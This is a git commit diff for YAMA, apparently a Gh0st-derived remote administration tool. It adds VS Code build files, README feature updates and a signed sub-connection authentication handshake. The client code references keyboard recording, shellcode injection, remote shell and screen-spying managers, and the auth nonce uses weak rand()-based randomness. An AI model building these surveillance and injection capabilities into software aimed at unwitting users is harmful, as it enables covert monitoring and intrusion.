Fix: Linux client UTF-8 path/active-window garbled on server

Feature: Linux/macOS server-identity gate via libsign.a
fix remote-cursor flicker on Windows controller
2026-05-08 14:03:45 +02:00 · 2026-05-08 12:39:59 +02:00 · 2026-05-08 09:27:19 +02:00 · 2026-05-07 18:17:28 +02:00 · 2026-05-07 10:47:05 +02:00 · 2026-05-07 10:37:24 +02:00
74 changed files with 6259 additions and 670 deletions
--- a/.gitignore
+++ b/.gitignore
@@ -74,3 +74,14 @@ test/build/
 docs/MultiLayerLicense_Design.md
 docs/MultiLayerLicense_Implementation.md
 docs/_CodeReference.md
+linux/CMakeFiles/*
+Releases/*
+*.log
+*.txt
+linux/Makefile
+linux/cmake_install.cmake
+.vs
+docs/macOS_Support_Design.md
+settings.local.json
+*.zip
+*.lic
--- a/.vscode/build.ps1
+++ b/.vscode/build.ps1
@@ -0,0 +1,43 @@
+param(
+    [Parameter(Mandatory = $true)]
+    [string]$Target,
+
+    [ValidateSet("Debug", "Release")]
+    [string]$Configuration = "Debug",
+
+    [ValidateSet("x64", "x86", "Win32")]
+    [string]$Platform = "x64"
+)
+
+$ErrorActionPreference = "Stop"
+
+$vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
+if (-not (Test-Path $vswhere)) {
+    Write-Host "ERROR: vswhere.exe not found at $vswhere" -ForegroundColor Red
+    Write-Host "Install Visual Studio Installer (comes with VS 2017+)." -ForegroundColor Yellow
+    exit 1
+}
+
+$msbuild = & $vswhere -latest -prerelease -products * `
+    -requires Microsoft.Component.MSBuild `
+    -find 'MSBuild\**\Bin\MSBuild.exe' | Select-Object -First 1
+
+if (-not $msbuild) {
+    Write-Host "ERROR: MSBuild not found via vswhere" -ForegroundColor Red
+    exit 1
+}
+
+$sln = Join-Path $PSScriptRoot "..\YAMA.sln" | Resolve-Path
+
+Write-Host "MSBuild : $msbuild" -ForegroundColor Cyan
+Write-Host "Solution: $sln" -ForegroundColor Cyan
+Write-Host "Target  : $Target | $Configuration | $Platform" -ForegroundColor Cyan
+Write-Host ""
+
+& $msbuild $sln.Path `
+    "/t:$Target" `
+    "/p:Configuration=$Configuration" `
+    "/p:Platform=$Platform" `
+    /m /v:minimal /nologo
+
+exit $LASTEXITCODE
--- a/.vscode/c_cpp_properties.json
+++ b/.vscode/c_cpp_properties.json
@@ -0,0 +1,61 @@
+{
+    "version": 4,
+    "configurations": [
+        {
+            "name": "Win32",
+            "intelliSenseMode": "windows-msvc-x64",
+            "compilerPath": "cl.exe",
+            "cStandard": "c11",
+            "cppStandard": "c++17",
+            "windowsSdkVersion": "10.0.19041.0",
+            "includePath": [
+                "${workspaceFolder}",
+                "${workspaceFolder}/client",
+                "${workspaceFolder}/common",
+                "${workspaceFolder}/compress",
+                "${workspaceFolder}/compress/ffmpeg",
+                "${workspaceFolder}/server/2015Remote",
+                "${workspaceFolder}/server/2015Remote/proxy",
+                "${workspaceFolder}/client/d3d",
+                "${env:VLDPATH}/include"
+            ],
+            "defines": [
+                "_WIN32",
+                "_WINDOWS",
+                "_DEBUG",
+                "_MBCS",
+                "ZLIB_WINAPI",
+                "_CRT_SECURE_NO_WARNINGS",
+                "_AFXDLL",
+                "_USRDLL"
+            ],
+            "browse": {
+                "path": [
+                    "${workspaceFolder}/client",
+                    "${workspaceFolder}/common",
+                    "${workspaceFolder}/compress",
+                    "${workspaceFolder}/server"
+                ],
+                "limitSymbolsToIncludedHeaders": true
+            }
+        },
+        {
+            "name": "Linux (WSL)",
+            "intelliSenseMode": "linux-gcc-x64",
+            "compilerPath": "/usr/bin/g++",
+            "cStandard": "c11",
+            "cppStandard": "c++11",
+            "includePath": [
+                "${workspaceFolder}",
+                "${workspaceFolder}/client",
+                "${workspaceFolder}/common",
+                "${workspaceFolder}/compress",
+                "${workspaceFolder}/linux",
+                "${workspaceFolder}/linux/mterm"
+            ],
+            "defines": [
+                "__linux__"
+            ]
+        }
+    ]
+}
--- a/.vscode/extensions.json
+++ b/.vscode/extensions.json
@@ -0,0 +1,8 @@
+{
+    "recommendations": [
+        "ms-vscode.cpptools",
+        "ms-vscode-remote.remote-wsl",
+        "ms-vscode.powershell",
+        "twxs.cmake"
+    ]
+}
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -0,0 +1,86 @@
+{
+    "version": "0.2.0",
+    "configurations": [
+        {
+            "name": "Yama (Debug x64)",
+            "type": "cppvsdbg",
+            "request": "launch",
+            "program": "${workspaceFolder}/Bin/Yama_x64d.exe",
+            "args": [
+                "-agent"
+            ],
+            "stopAtEntry": false,
+            "cwd": "${workspaceFolder}/Bin",
+            "environment": [],
+            "preLaunchTask": "Build Yama (Debug x64)",
+            "symbolSearchPath": "${workspaceFolder}/Bin;${workspaceFolder}/x64/Debug",
+            "sourceFileMap": {
+                "${workspaceFolder}": "${workspaceFolder}"
+            }
+        },
+        {
+            "name": "Yama (Attach)",
+            "type": "cppvsdbg",
+            "request": "attach",
+            "processId": "${command:pickProcess}"
+        },
+        {
+            "name": "ghost (Debug x64)",
+            "type": "cppvsdbg",
+            "request": "launch",
+            "program": "${workspaceFolder}/x64/Debug/ghost.exe",
+            "args": [],
+            "stopAtEntry": false,
+            "cwd": "${workspaceFolder}/x64/Debug",
+            "environment": [],
+            "console": "externalTerminal",
+            "preLaunchTask": "Build ghost (Debug x64)"
+        },
+        {
+            "name": "TestRun (Debug x64)",
+            "type": "cppvsdbg",
+            "request": "launch",
+            "program": "${workspaceFolder}/x64/Debug/TestRun.exe",
+            "args": [],
+            "stopAtEntry": false,
+            "cwd": "${workspaceFolder}/x64/Debug",
+            "environment": [],
+            "console": "externalTerminal",
+            "preLaunchTask": "Build TestRun (Debug x64)"
+        },
+        {
+            "name": "ghost (Linux WSL)",
+            "type": "cppdbg",
+            "request": "launch",
+            "program": "/mnt/c/github/YAMA/linux/ghost",
+            "args": [],
+            "stopAtEntry": false,
+            "cwd": "/mnt/c/github/YAMA/linux",
+            "environment": [],
+            "externalConsole": false,
+            "MIMode": "gdb",
+            "miDebuggerPath": "/usr/bin/gdb",
+            "pipeTransport": {
+                "pipeCwd": "${workspaceFolder}",
+                "pipeProgram": "C:\\Windows\\System32\\wsl.exe",
+                "pipeArgs": [
+                    "-e",
+                    "bash",
+                    "-c"
+                ],
+                "debuggerPath": "/usr/bin/gdb"
+            },
+            "sourceFileMap": {
+                "/mnt/c/github/YAMA": "${workspaceFolder}"
+            },
+            "setupCommands": [
+                {
+                    "description": "Enable pretty-printing for gdb",
+                    "text": "-enable-pretty-printing",
+                    "ignoreFailures": true
+                }
+            ],
+            "preLaunchTask": "Build ghost (Linux WSL)"
+        }
+    ]
+}
--- a/.vscode/tasks.json
+++ b/.vscode/tasks.json
@@ -0,0 +1,109 @@
+{
+    "version": "2.0.0",
+    "tasks": [
+        {
+            "label": "Build Yama (Debug x64)",
+            "type": "shell",
+            "command": "powershell",
+            "args": [
+                "-NoProfile",
+                "-ExecutionPolicy",
+                "Bypass",
+                "-File",
+                "${workspaceFolder}\\.vscode\\build.ps1",
+                "-Target",
+                "Yama",
+                "-Configuration",
+                "Debug",
+                "-Platform",
+                "x64"
+            ],
+            "problemMatcher": [
+                "$msCompile"
+            ],
+            "group": "build",
+            "presentation": {
+                "reveal": "silent",
+                "panel": "dedicated",
+                "clear": true
+            }
+        },
+        {
+            "label": "Build ghost (Debug x64)",
+            "type": "shell",
+            "command": "powershell",
+            "args": [
+                "-NoProfile",
+                "-ExecutionPolicy",
+                "Bypass",
+                "-File",
+                "${workspaceFolder}\\.vscode\\build.ps1",
+                "-Target",
+                "ghost",
+                "-Configuration",
+                "Debug",
+                "-Platform",
+                "x64"
+            ],
+            "problemMatcher": [
+                "$msCompile"
+            ],
+            "group": "build",
+            "presentation": {
+                "reveal": "silent",
+                "panel": "dedicated",
+                "clear": true
+            }
+        },
+        {
+            "label": "Build TestRun (Debug x64)",
+            "type": "shell",
+            "command": "powershell",
+            "args": [
+                "-NoProfile",
+                "-ExecutionPolicy",
+                "Bypass",
+                "-File",
+                "${workspaceFolder}\\.vscode\\build.ps1",
+                "-Target",
+                "TestRun",
+                "-Configuration",
+                "Debug",
+                "-Platform",
+                "x64"
+            ],
+            "problemMatcher": [
+                "$msCompile"
+            ],
+            "group": "build",
+            "presentation": {
+                "reveal": "silent",
+                "panel": "dedicated",
+                "clear": true
+            }
+        },
+        {
+            "label": "Build ghost (Linux WSL)",
+            "type": "process",
+            "command": "wsl",
+            "args": [
+                "-e",
+                "bash",
+                "-c",
+                "cmake -DCMAKE_BUILD_TYPE=Debug . && make -j$(nproc)"
+            ],
+            "options": {
+                "cwd": "${workspaceFolder}\\linux"
+            },
+            "problemMatcher": [
+                "$gcc"
+            ],
+            "group": "build",
+            "presentation": {
+                "reveal": "always",
+                "panel": "dedicated",
+                "clear": true
+            }
+        }
+    ]
+}
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -494,27 +494,31 @@ make

 **系统要求**：
 - macOS 10.15 (Catalina) 及以上
+- 架构支持：Intel (x64) 和 Apple Silicon (arm64) 通用二进制
 - 需要授予系统权限：屏幕录制、辅助功能、完全磁盘访问

 **功能支持**：

 | 功能 | 状态 | 实现 |
 |------|------|------|
-| 远程桌面 | ✅ | CoreGraphics 屏幕捕获，H.264 硬件编码 |
+| 远程桌面 | ✅ | CoreGraphics 屏幕捕获，VideoToolbox H.264 硬件编码 |
 | 鼠标控制 | ✅ | CGEvent 模拟，支持双击、拖拽 |
 | 键盘控制 | ✅ | CGEvent 模拟，完整键码映射 |
 | 光标同步 | ✅ | 实时同步远程光标样式 |
+| 远程终端 | ✅ | PTY 交互式 Shell（zsh/bash） |
+| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
 | 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
-| 文件管理 | ⏳ | 开发中 |
-| 远程终端 | ⏳ | 开发中 |
+| 分组管理 | ✅ | 持久化配置文件 |
+| 进程管理 | ⏳ | 开发中 |
+| 剪贴板 | ⏳ | 开发中 |

 **编译方式**：

 ```bash
 cd macos
-mkdir build && cd build
-cmake ..
-make
+./build.sh
+# 或手动编译：
+# mkdir build && cd build && cmake .. && make
 ```

 ---
--- a/ReadMe_EN.md
+++ b/ReadMe_EN.md
@@ -479,27 +479,31 @@ make

 **System Requirements**:
 - macOS 10.15 (Catalina) or later
+- Architecture: Universal Binary (Intel x64 + Apple Silicon arm64)
 - Required permissions: Screen Recording, Accessibility, Full Disk Access

 **Feature Support**:

 | Feature | Status | Implementation |
 |---------|--------|----------------|
-| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
+| Remote Desktop | ✅ | CoreGraphics screen capture, VideoToolbox H.264 hardware encoding |
 | Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
 | Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
 | Cursor Sync | ✅ | Real-time remote cursor style synchronization |
+| Remote Terminal | ✅ | PTY interactive shell (zsh/bash) |
+| File Management | ✅ | Bidirectional transfer, V2 protocol, large file support |
 | Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
-| File Management | ⏳ | In development |
-| Remote Terminal | ⏳ | In development |
+| Group Management | ✅ | Persistent configuration file |
+| Process Management | ⏳ | In development |
+| Clipboard | ⏳ | In development |

 **Build Instructions**:

 ```bash
 cd macos
-mkdir build && cd build
-cmake ..
-make
+./build.sh
+# Or manually:
+# mkdir build && cd build && cmake .. && make
 ```

 ---
--- a/ReadMe_TW.md
+++ b/ReadMe_TW.md
@@ -478,27 +478,31 @@ make

 **系統要求**：
 - macOS 10.15 (Catalina) 及以上
+- 架構支援：Intel (x64) 和 Apple Silicon (arm64) 通用二進位
 - 需要授予系統權限：螢幕錄製、輔助使用、完全磁碟存取

 **功能支援**：

 | 功能 | 狀態 | 實作 |
 |------|------|------|
-| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取，H.264 硬體編碼 |
+| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取，VideoToolbox H.264 硬體編碼 |
 | 滑鼠控制 | ✅ | CGEvent 模擬，支援雙擊、拖曳 |
 | 鍵盤控制 | ✅ | CGEvent 模擬，完整鍵碼對應 |
 | 游標同步 | ✅ | 即時同步遠端游標樣式 |
+| 遠端終端 | ✅ | PTY 互動式 Shell（zsh/bash） |
+| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
 | 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
-| 檔案管理 | ⏳ | 開發中 |
-| 遠端終端 | ⏳ | 開發中 |
+| 分組管理 | ✅ | 持久化設定檔 |
+| 程序管理 | ⏳ | 開發中 |
+| 剪貼簿 | ⏳ | 開發中 |

 **編譯方式**：

 ```bash
 cd macos
-mkdir build && cd build
-cmake ..
-make
+./build.sh
+# 或手動編譯：
+# mkdir build && cd build && cmake .. && make
 ```

 ---
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -199,6 +199,7 @@
    <ClCompile Include="RegisterOperation.cpp" />
    <ClCompile Include="SafeThread.cpp" />
    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
    <ClCompile Include="ScreenSpy.cpp" />
    <ClCompile Include="ServicesManager.cpp" />
    <ClCompile Include="ShellManager.cpp" />
@@ -241,6 +242,7 @@
    <ClInclude Include="ScreenCapture.h" />
    <ClInclude Include="ScreenCapturerDXGI.h" />
    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
    <ClInclude Include="ScreenSpy.h" />
    <ClInclude Include="ServicesManager.h" />
    <ClInclude Include="ShellManager.h" />
--- a/client/ClientDll_vs2015.vcxproj.filters
+++ b/client/ClientDll_vs2015.vcxproj.filters
@@ -27,6 +27,7 @@
    <ClCompile Include="RegisterOperation.cpp" />
    <ClCompile Include="SafeThread.cpp" />
    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
    <ClCompile Include="ScreenSpy.cpp" />
    <ClCompile Include="ServicesManager.cpp" />
    <ClCompile Include="ShellManager.cpp" />
@@ -70,6 +71,7 @@
    <ClInclude Include="ScreenCapture.h" />
    <ClInclude Include="ScreenCapturerDXGI.h" />
    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
    <ClInclude Include="ScreenSpy.h" />
    <ClInclude Include="ServicesManager.h" />
    <ClInclude Include="ShellManager.h" />
--- a/client/FileManager.cpp
+++ b/client/FileManager.cpp
@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)

    // 创建新连接发送文件
    IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
+    pClient->EnableSubConnAuth();   // V2 文件传输子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
    if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
        std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
            FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager,  DataProcessCB dataProcess, O
    m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
 }

+// 子连接身份校验：发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
+// signMessage 由私有库提供（与 KernelManager.cpp 验证主控签名同款），
+// 空 publicKey/privateKey 走内置 HMAC。
+extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
+bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
+{
+    ConnAuthPacket pkt = {};
+    pkt.token = TOKEN_CONN_AUTH;
+    pkt.clientID = clientID;
+    pkt.timestamp = (uint64_t)time(NULL);
+    // 16 字节 nonce：用 rand() + 时间扰动，强度够用（重放保护主要靠时间戳）
+    for (int i = 0; i < 16; ++i) {
+        pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
+    }
+
+    BYTE sigInput[8 + 8 + 16];
+    memcpy(sigInput,      &pkt.clientID,  8);
+    memcpy(sigInput + 8,  &pkt.timestamp, 8);
+    memcpy(sigInput + 16, pkt.nonce,      16);
+    auto sig = signMessage("", sigInput, sizeof(sigInput));
+    size_t sigLen = sig.size() < 64 ? sig.size() : 64;
+    memcpy(pkt.signature, sig.data(), sigLen);
+
+    // 设置等待状态
+    {
+        std::lock_guard<std::mutex> lk(m_authMtx);
+        m_authStatus = -1;
+        m_authPending = true;
+    }
+
+    // 发包；用 HttpMask 包装与其它子连接首包风格一致
+    HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
+    int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
+    if (sent <= 0) {
+        std::lock_guard<std::mutex> lk(m_authMtx);
+        m_authPending = false;
+        Mprintf("[ConnAuth] 发送失败\n");
+        return false;
+    }
+
+    // 等响应或超时
+    std::unique_lock<std::mutex> lk(m_authMtx);
+    bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
+                                  [this]{ return !m_authPending; });
+    int status = m_authStatus;
+    m_authPending = false;
+    if (!got) {
+        Mprintf("[ConnAuth] 等待响应超时 (%d ms)，判定失败\n", timeoutMs);
+        return false;
+    }
+    bool ok = (status == CONN_AUTH_OK);
+    Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
+    return ok;
+}
+
+bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
+{
+    if (!buf || len < sizeof(ConnAuthAck)) return false;
+    if (buf[0] != TOKEN_CONN_AUTH) return false;
+
+    {
+        std::lock_guard<std::mutex> lk(m_authMtx);
+        if (!m_authPending) return false;  // 没在等 → 不消费，让 manager 处理（理论不会发生）
+        const ConnAuthAck* ack = (const ConnAuthAck*)buf;
+        m_authStatus = ack->status;
+        m_authPending = false;
+    }
+    m_authCv.notify_all();
+    return true;
+}
+

 IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
                       const std::string& pubIP, void* main) : g_bExit(bExit)
@@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
    }

    m_main = main;
+    m_conn = conn;     // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
+                       // m_conn->clientID 现取主连接 ID（同一指针，主连接登录后填好的最新值）。
    int encoder = conn ? conn->GetHeaderEncType() : 0;
    m_sLocPublicIP = pubIP;
    m_ServerAddr = {};
@@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 #endif
    }

+    // 子连接身份校验（opt-in 通过 EnableSubConnAuth 开启）：
+    //   - WorkThread 已经启动，能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
+    //   - clientID 优先用 EnableSubConnAuth 显式传入的值（Linux/macOS 客户端走此路径），
+    //     未显式传入时从 m_conn 现取（Windows 客户端走此路径）。
+    //   - 校验失败：Disconnect 并返回 FALSE，让上层走重连或放弃逻辑。
+    if (m_subConnAuthEnabled) {
+        uint64_t cid = m_subConnAuthClientID;
+        if (cid == 0 && m_conn) cid = m_conn->clientID;
+        if (cid == 0) {
+            Mprintf("[ConnAuth] 跳过校验：clientID 尚未就绪（主连接还没拿到 ID）\n");
+            // 没拿到 ID 就别盲发，等下一次 Reconnect 时再试。视为本次连接失败。
+            Disconnect();
+            return FALSE;
+        }
+        if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
+            Mprintf("[ConnAuth] 校验失败，断开连接\n");
+            Disconnect();
+            return FALSE;
+        }
+    }
+
    return TRUE;
 }

@@ -549,12 +643,17 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
                size_t	iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);

                if (Z_SUCCESS(iRet)) { //如果解压成功
+                    // 优先看是不是 TOKEN_CONN_AUTH 响应；只有当 PerformConnAuth 正在等待时才消费。
+                    // 不在等待状态时返回 false，包透传给 manager（manager 一般也不识别此 token，
+                    // 走 default 路径忽略，无副作用）。
+                    if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
                        //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
                        //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
                        int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
                        if (ret) {
                            Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
                        }
+                    }
                } else {
                    Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
                    // ReadBuffer 已消费当前包，不需要清空缓冲区
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -32,6 +32,8 @@
 #endif
 #include "IOCPBase.h"
 #include <mutex>
+#include <condition_variable>
+#include <chrono>

 #define MAX_RECV_BUFFER  1024*32
 #define MAX_SEND_BUFFER  1024*128  // 增大分块大小以提高发送效率
@@ -259,6 +261,26 @@ public:
        m_LoginMsg = msg;
        m_LoginSignature = hmac;
    }
+
+    // 子连接身份校验：发 TOKEN_CONN_AUTH 包，等服务端 ConnAuthAck 响应。
+    // 返回 true 表示通过，false 表示超时/失败/网络错误。
+    // 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
+    // 已实现的协议扩展（如 KeyBoard 子连接的 cap word）保留不变，与本机制并行工作。
+    bool PerformConnAuth(uint64_t clientID, int timeoutMs);
+
+    // 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth（opt-in）。
+    // 子连接构造后调用此方法启用。
+    //   - clientID == 0：每次 auth 时从 m_conn->clientID 现取（Windows 客户端走此路径）。
+    //     这样即便 IOCPClient 创建时主连接还没拿到 ID，真正连上时也能用到最新值。
+    //   - clientID != 0：显式指定（Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数）。
+    void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
+        m_subConnAuthEnabled = enabled;
+        m_subConnAuthClientID = clientID;
+    }
+
+    // 内部：在收到的数据帧分发到 manager 之前，尝试识别并消费 TOKEN_CONN_AUTH ack。
+    // 仅在我们正在等待 auth 响应时（m_authPending=true）才消费；否则透传给 manager。
+    bool TryHandleAuthResponse(PBYTE buf, ULONG len);
 protected:
    virtual int ReceiveData(char* buffer, int bufSize, int flags)
    {
@@ -285,6 +307,16 @@ protected:
    BOOL				m_bConnected;

    std::mutex          m_Locker;
+
+    // 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
+    std::mutex                m_authMtx;
+    std::condition_variable   m_authCv;
+    int                       m_authStatus = -1;     // -1 = 未启动；其它 = ConnAuthStatus
+    bool                      m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
+
+    // ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
+    bool                      m_subConnAuthEnabled = false;
+    uint64_t                  m_subConnAuthClientID = 0;  // 0 表示从 m_conn->clientID 现取
 #if USING_CTX
    ZSTD_CCtx*			m_Cctx;						// 压缩上下文
    ZSTD_DCtx*			m_Dctx;						// 解压上下文
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -18,6 +18,7 @@
 #include "auto_start.h"
 #include "ShellcodeInj.h"
 #include "KeyboardManager.h"
+#include "ScreenPreview.h"
 #include "common/file_upload.h"
 #include "common/DateVerify.h"
 #include "common/LANChecker.h"
@@ -53,7 +54,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
 {
    ThreadInfo *tKeyboard = new ThreadInfo();
    tKeyboard->run = FOREVER_RUN;
-    tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
+    auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
+    sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+    tKeyboard->p = sub;
    tKeyboard->conn = conn;
    tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
    return tKeyboard;
@@ -272,6 +275,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
            FrpcParam* f = (FrpcParam*)user;
            Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
            int r = 0;
+            uint64_t start = time(0);
            if (proc) {
                r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
                           &CKernelManager::g_IsAppExit);
@@ -279,7 +283,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
            else {
                This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
            }
-            if (r) {
+            if (r || (time(0)-start < 15)) {
                char buf[100];
                sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
                Mprintf("%s\n", buf);
@@ -295,6 +299,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
            FrpcParam* f = (FrpcParam*)user;
            Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
            int r = 0;
+            uint64_t start = time(0);
            if (proc) {
                r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
                             &CKernelManager::g_IsAppExit);
@@ -302,7 +307,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
            else {
                This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
            }
-            if (r) {
+            if (r || (time(0)-start < 15)) {
                char buf[100];
                sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
                Mprintf("%s\n", buf);
@@ -954,7 +959,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
    }

    case COMMAND_PROXY: {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }
@@ -1058,33 +1067,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
        if (m_hKeyboard) {
            CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
        } else {
-            m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
            m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        }
        break;
    }

    case COMMAND_TALK: {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount].user = m_hInstance;
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_SHELL: {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_SYSTEM: {     //远程进程管理
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_WSLIST: {     //远程窗口管理
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+        m_hThread[m_ulThreadCount].p = sub;
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }
@@ -1113,20 +1138,65 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
        break;
    }

+    case COMMAND_SCREEN_PREVIEW_REQ: {
